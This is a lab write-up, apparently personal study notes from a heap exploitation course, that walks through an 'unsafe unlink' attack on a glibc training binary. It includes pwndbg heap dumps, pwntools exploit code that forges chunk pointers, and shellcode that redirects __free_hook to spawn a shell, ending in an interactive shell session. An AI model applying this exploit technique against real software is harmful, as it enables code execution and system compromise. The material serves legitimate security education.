Unsafe Unlink

Notes

  • Chunks are considerated “small” when their size is less than 0x400.
  • Remember that an easy way to request a chunk of a specific size is to subtract eight
    from the size you want.

Analizing binarie

pwndbg> r
Starting program: /home/user-pwn18/Escritorio/PWN/HeapLAB/unsafe_unlink/unsafe_unlink 
ERROR: Could not find ELF base!

===============
|   HeapLAB   |  Unsafe Unlink
===============

puts() @ 0x7ffff7aa25a0
heap @ 0x555555757000

1) malloc 0/2
2) edit
3) free
4) quit
> 1
size: 9999
small chunks only - excluding fast sizes (120 < bytes <= 1000)

1) malloc 0/2
2) edit
3) free
4) quit
> 1
size: 136

1) malloc 1/2
2) edit
3) free
4) quit
> 2
index: 0
data: YYYYYYYYYYYYYYYYYY

1) malloc 1/2
2) edit
3) free
4) quit
> ^C

pwndbg> vis

0x555555757000	0x0000000000000000	0x0000000000000091	................
0x555555757010	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x555555757020	0x00000000000a5959	0x0000000000000000	YY..............
0x555555757030	0x0000000000000000	0x0000000000000000	................
0x555555757040	0x0000000000000000	0x0000000000000000	................
0x555555757050	0x0000000000000000	0x0000000000000000	................
0x555555757060	0x0000000000000000	0x0000000000000000	................
0x555555757070	0x0000000000000000	0x0000000000000000	................
0x555555757080	0x0000000000000000	0x0000000000000000	................
0x555555757090	0x0000000000000000	0x0000000000020f71	........q....... <-- Top chunk

pwndbg> c
Continuando.
1
size: 136

1) malloc 2/2
2) edit
3) free
4) quit
> 3
index: 0

1) malloc 2/2
2) edit
3) free
4) quit
> ^C

pwndbg> vis

imagen1.png

Show unsortedbin

pwndbg> unsortedbin
unsortedbin
all: 0x555555757000 —▸ 0x7ffff7dd4b78 (main_arena+88) ◂— add    byte ptr [rax + 0x75], dh /* 0x555555757000 */

Found bug

pwndbg> r
Starting program: /home/user-pwn18/Escritorio/PWN/HeapLAB/unsafe_unlink/unsafe_unlink 
ERROR: Could not find ELF base!

===============
|   HeapLAB   |  Unsafe Unlink
===============

puts() @ 0x7ffff7aa25a0
heap @ 0x555555757000

1) malloc 0/2
2) edit
3) free
4) quit
> 1
size: 136

1) malloc 1/2
2) edit
3) free
4) quit
> 2
index: 0
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1) malloc 1/2
2) edit
3) free
4) quit
> ^C

pwndbg> vis

0x555555757000	0x0000000000000000	0x0000000000000091	................
0x555555757010	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757020	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757030	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757040	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757050	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757060	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757070	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757080	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757090	0x4141414141414141	0x0000000a41414141	AAAAAAAAAAAA....	 <-- Top chunk

Top chunk size has been overwritten, but this time we’re not limited to overwriting just the top chunk size field, we can also target size fields belonging to other chunks.

pwndbg> vis

pwndbg> c

1) malloc 1/2
2) edit
3) free
4) quit
> 1
size: 0x88

1) malloc 2/2
2) edit
3) free
4) quit
> ^C


0x555555757000	0x0000000000000000	0x0000000000000091	................
0x555555757010	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757020	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757030	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757040	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757050	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757060	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757070	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757080	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x555555757090	0x4141414141414141	0x0000000000000091	AAAAAAAA........
0x5555557570a0	0x0000000000000000	0x0000000000000000	................
0x5555557570b0	0x0000000000000000	0x0000000000000000	................
0x5555557570c0	0x0000000000000000	0x0000000000000000	................
0x5555557570d0	0x0000000000000000	0x0000000000000000	................
0x5555557570e0	0x0000000000000000	0x0000000000000000	................
0x5555557570f0	0x0000000000000000	0x0000000000000000	................
0x555555757100	0x0000000000000000	0x0000000000000000	................
0x555555757110	0x0000000000000000	0x0000000000000000	................
0x555555757120	0x0000000000000000	0x0000000a414140b1	.........@AA....	 <-- Top chunk

Now shows us what we’d expect, two 0x90-sized chunks followed by a now corrupted top chunk

pwndbg> c
Continuando.
2
index: 0
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1) malloc 2/2
2) edit
3) free
4) quit
> 
1) malloc 2/2
2) edit
3) free 
4) quit
> ^C

This time we need to use the dq command to inspect the heap because the corrupt size field will confuse the ‘vis’ command.

The ‘mp_’ struct is used by malloc to hold a small amount of its parameter data.

For now , we’ll use its ‘sbrk_base’ member as a quick way to find the start of the defaukt heap where we’ll print 38 quadwords of memory.

pwndbg> dq mp_.sbrk_base 38
0000555555757000     0000000000000000 0000000000000091
0000555555757010     4141414141414141 4141414141414141
0000555555757020     4141414141414141 4141414141414141
0000555555757030     4141414141414141 4141414141414141
0000555555757040     4141414141414141 4141414141414141
0000555555757050     4141414141414141 4141414141414141
0000555555757060     4141414141414141 4141414141414141
0000555555757070     4141414141414141 4141414141414141
0000555555757080     4141414141414141 4141414141414141
0000555555757090     4141414141414141 4141414141414141
00005555557570a0     0000000000000000 0000000000000000
00005555557570b0     0000000000000000 0000000000000000
00005555557570c0     0000000000000000 0000000000000000
00005555557570d0     0000000000000000 0000000000000000
00005555557570e0     0000000000000000 0000000000000000
00005555557570f0     0000000000000000 0000000000000000
0000555555757100     0000000000000000 0000000000000000
0000555555757110     0000000000000000 0000000000000000
0000555555757120     0000000000000000 0000000a414140b1

Even though we can corrupt the top chunk size field with this overflow, the House of Force techinque isn’t viable here,
we just can’t request enough memory or enough chunks. So lets consider how corrupting a “normal” chunk’s size field might benefit us.

What would happen were to clear the second chunk’s prev_inuse flag. We know that the prev_inuse flag is used by malloc to determine
whater a previous chunk is a candidate for consolidation.

We also know that the consolidation process will involve unlinking the first chunk, but the first chunk isn’t really free,
so it isn’t linked into a free list and therefore has no forward or backward pointers. However, this is our opportunity to provide them,
and remember an unsafe unlink operation on attacker-controlled pointers yields a reflected write primitive.

# exploit.py
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)
edit( chunk_A, b"Y"*0x88 + p64(0x90) )

pwndbg> vis

0x555555757000	0x0000000000000000	0x0000000000000091	................
0x555555757010	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x555555757020	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x555555757030	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x555555757040	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x555555757050	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x555555757060	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x555555757070	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x555555757080	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x555555757090	0x5959595959595959	0x0000000000000090	YYYYYYYY........
0x5555557570a0	0x0000000000000000	0x0000000000000000	................
0x5555557570b0	0x0000000000000000	0x0000000000000000	................
0x5555557570c0	0x0000000000000000	0x0000000000000000	................
0x5555557570d0	0x0000000000000000	0x0000000000000000	................
0x5555557570e0	0x0000000000000000	0x0000000000000000	................
0x5555557570f0	0x0000000000000000	0x0000000000000000	................
0x555555757100	0x0000000000000000	0x0000000000000000	................
0x555555757110	0x0000000000000000	0x0000000000000000	................
0x555555757120	0x0000000000000000	0x0000000000020ee1	................	 <-- Top chunk

Now if we tried to free chunk B now, malloc would check its prev_inuse flag, and attempt to consolidate chunk B with chunk A.
To find the start of chunk A needs to use chunk B’s prev_size field.

# exploit.py
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)

fd = 0xdeadbeef
bk = 0xdeadbeef
prev_size = 0x90
fake_size = 0x90

edit( chunk_a, p64(fd)+p64(bk)+p8(0)*0x70 + p64(prev_size) + p64(fake_size) )


pwndbg> vis

0x555555757000	0x0000000000000000	0x0000000000000091	................
0x555555757010	0x00000000deadbeef	0x00000000deadbeef	................
0x555555757020	0x0000000000000000	0x0000000000000000	................
0x555555757030	0x0000000000000000	0x0000000000000000	................
0x555555757040	0x0000000000000000	0x0000000000000000	................
0x555555757050	0x0000000000000000	0x0000000000000000	................
0x555555757060	0x0000000000000000	0x0000000000000000	................
0x555555757070	0x0000000000000000	0x0000000000000000	................
0x555555757080	0x0000000000000000	0x0000000000000000	................
0x555555757090	0x0000000000000090	0x0000000000000090	................
0x5555557570a0	0x0000000000000000	0x0000000000000000	................
0x5555557570b0	0x0000000000000000	0x0000000000000000	................
0x5555557570c0	0x0000000000000000	0x0000000000000000	................
0x5555557570d0	0x0000000000000000	0x0000000000000000	................
0x5555557570e0	0x0000000000000000	0x0000000000000000	................
0x5555557570f0	0x0000000000000000	0x0000000000000000	................
0x555555757100	0x0000000000000000	0x0000000000000000	................
0x555555757110	0x0000000000000000	0x0000000000000000	................
0x555555757120	0x0000000000000000	0x0000000000020ee1	................	 <-- Top chunk

It’s at this point that malloc will perform the unlink procedure on our forged fd and bk, giving us
that reflecter wirte primitive.

Malloc will follow our fD to what it believes is another chunk and overwrite that chunk’s BK with our BK.
Then malloc will follow our BK and overwrite that chunk’s FD with our FD.

For this to work, both addresses we supply must point to writable memory, wich means if we try to ovwewrite
the free hook with the address of system(), for example, the second half of our reflected write will attempt
to write the address of the free hook into the system() function, causing segfault.

Full RELRO is still enforced however, so we need to target the malloc hooks for our attack to succeed.

We have a heap leak and we can write shellcode onto an executable hap, so what’s stopping us from using our
reflected write to overwrite the free hook with the address of our shellcode?

# exploit.py
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)

fd = libc.sym._free_hook - 0x 18
bk = heap + 0x20
prev_size = 0x90
fake_size = 0x90
shellcode = asm("jmp shellcode;" + "nop;"*0x16 + "shellcode:" + shellcraft.execve("/bin/sh"))
edit( chunk_a, p64(fd)+p64(bk)+shellcode+p8(0)*(0x70-len(shellcode)) + p64(prev_size) + p64(fake_size) )

Next , we’ll focus on the first half of the reflected write, in wich our bk will copied to where our fd points.

That way, when we attempt to free another chunk after the unlinking has taken place,our shellcode will be executed instead.

So let’s point out fd at the free hook minus 0x18 to account for the fact that malloc will treat whatever our fd point to as a chunk and overwrite its.

First half of the unlinking procedure

pwndbg> vis

0x555555757000	0x0000000000000000	0x0000000000000091	................
0x555555757010	0x00007ffff7dd6790	0x0000555555757020	.g...... puUUU..
0x555555757020	0x90909090909016eb	0x9090909090909090	................
0x555555757030	0x9090909090909090	0x010101010101b848	........H.......
0x555555757040	0x68632eb848500101	0x0431480169722e6f	..PH..cho.ri.H1.
0x555555757050	0xf631d231e7894824	0x000000050f583b6a	$H..1.1.j;X.....
0x555555757060	0x0000000000000000	0x0000000000000000	................
0x555555757070	0x0000000000000000	0x0000000000000000	................
0x555555757080	0x0000000000000000	0x0000000000000000	................
0x555555757090	0x0000000000000090	0x0000000000000090	................
0x5555557570a0	0x0000000000000000	0x0000000000000000	................
0x5555557570b0	0x0000000000000000	0x0000000000000000	................
0x5555557570c0	0x0000000000000000	0x0000000000000000	................
0x5555557570d0	0x0000000000000000	0x0000000000000000	................
0x5555557570e0	0x0000000000000000	0x0000000000000000	................
0x5555557570f0	0x0000000000000000	0x0000000000000000	................
0x555555757100	0x0000000000000000	0x0000000000000000	................
0x555555757110	0x0000000000000000	0x0000000000000000	................
0x555555757120	0x0000000000000000	0x0000000000020ee1	................	 <-- Top chunk
pwndbg> p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7ffff7dd67a8 <__free_hook>

Continue execution, free b chunk and visualize the heap …

pwndbg> vis

0x555555757000	0x0000000000000000	0x0000000000021001	................	 <-- Top chunk

But it was first consolidated with chunk A, then consolidated into top chunk afterwards.

Dumping the memory that the free hook points to reveals that it’s pointing to our shell code on the heap.

Second half of unlinking procedure

Our BK was followed and our FD copied over the FD at its destination.

pwndbg> dq __free_hook 10
0000555555757020     90909090909016eb 9090909090909090
0000555555757030     00007ffff7dd6790 010101010101b848
0000555555757040     68632eb848500101 0431480169722e6f
0000555555757050     f631d231e7894824 000000050f583b6a
0000555555757060     0000000000000000 0000000000000000

An problem is that our FD has been written into the middle of our shellcode.

Fortunely by disassembling the first part of our shellcode with the ‘u’ command, we see that this
shellcode already accounts for this by using its first two bytes to jump over the corruption.

pwndbg> u __free_hook
 ► 0x555555757020    jmp    0x555555757038                <0x555555757038>
 
   0x555555757022    nop 
   0x555555757023    nop 
   0x555555757024    nop 
   0x555555757025    nop 
   0x555555757026    nop 
   0x555555757027    nop 
   0x555555757028    nop 
   0x555555757029    nop 
   0x55555575702a    nop 
   0x55555575702b    nop

Prepare exploit

shellcode = asm("jmp shellcode;" + "nop;"*0x16 + "shellcode:" + shellcraft.execve("/bin/sh"))

chunk_a = malloc(0x88)
chunk_b = malloc(0x88)

fd = libc.sym.__free_hook - 0x18
bk = heap+0x20
prev_size = 0x90
fakse_size = 0x90
edit( chunk_a, p64(fd)+p64(bk)+shellcode+ p8(0)*(0x70-len(shellcode))+p64(prev_size)+p64(fakse_size) )
free(chunk_b)
free(chunk_a)

[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0xb bytes:
    b'user-pwn18\n'
user-pwn18
$ hostname
[DEBUG] Sent 0x9 bytes:
    b'hostname\n'
[DEBUG] Received 0xa bytes:
    b'userpwn18\n'
userpwn18
$  

Summary

We requested two chunk, A and B, and took adventage of a heap overflow to clear the prev_inuse flag on chunk B, that should otherwise have it set.
In this case, the overflow was a whole quadword, but it could just as easily have been a single byte or even a single null byte if the size field already
had a least significant byte of zero.

When we freed the corrupt chunk B, malloc determined that because it’s prev_inuse flag was clear its previous chunk was a candidate for consolidation.

Consolidation involves unlinking the candidate, or victim, chunk from its free list and adding its size to the chunk has been freed.

To find the candidate chunk malloc uses the prev_size field of the freed chunk.

Next, malloc attempted to unlink chunk A and because we still controlled its user data, we were able to provide forged FD and BK pointers for the unlink
process to operate on.

We pointed our FD at the free hook munus 24 and our BK at some shellcode we had writeen onto the heap.

The unlink process followed our fd and copied our BK over the free hook.

It then followed our BK and copied our FD 16 bytes into our shellcode, which we had to deal with by providing a ‘jmp’ instruction to jump over it.

Finally , we triggered a call to free(), which was redirected via the free hook to our shellcode on the heap, giving us a shell.

References

Max Kamper, Linux Heap Exploitation - Part 1, Udemy 5(14)